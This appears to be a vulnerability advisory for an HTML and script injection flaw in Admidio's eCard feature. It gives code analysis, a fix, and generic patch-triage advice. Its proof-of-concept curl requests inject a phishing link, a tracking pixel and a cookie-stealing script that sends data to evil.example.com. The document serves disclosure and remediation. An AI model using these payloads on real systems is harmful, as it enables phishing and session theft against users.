The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php
At line 38, the raw POST value is captured BEFORE form validation runs:
$postMessage = $_POST['ecard_message']; // Line 38: RAW value
At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):
$formValues = $photosEcardSendForm->validate($_POST); // Line 61: sanitized
The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201
File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144
The parseEcardTemplate() method places the message directly into the HTML template without any encoding:
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage; // Line 144: no encoding
Compare this to the recipient fields which ARE properly encoded:
$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135
$pregRepArray['/<%ecard_reciepient_name%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56
The preview correctly uses the sanitized value:
$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));
This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.
The unsanitized HTML is delivered via two channels:
HTML Email (primary vector): At line 218 of ECard.php, the parsed template is set as the email body via $email->setText($ecardHtmlData) followed by $email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client.
Database Storage: At line 214 of ecard_send.php, $message->addContent($ecardHtmlData) stores the raw HTML in the messages table. However, MessageContent::getValue() applies SecurityUtils::encodeHTML() on output, mitigating the stored XSS in the web interface.
Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.
Step 1: Send an eCard with injected HTML
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \
-d "ecard_recipients[]=<target_user_uuid>"
The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.
Step 2: Escalated payload with script injection
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \
-d "ecard_recipients[]=<target_user_uuid>"
Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.
In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:
// Line 38: Remove this line
// $postMessage = $_POST['ecard_message'];
// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($_POST);
$postMessage = $formValues['ecard_message'];
Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:
// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;
| Software | From | Fixed in |
|---|---|---|
admidio / admidio
|
- | 5.0.7 |
A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.
CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.
A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.
Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.
Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.
SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.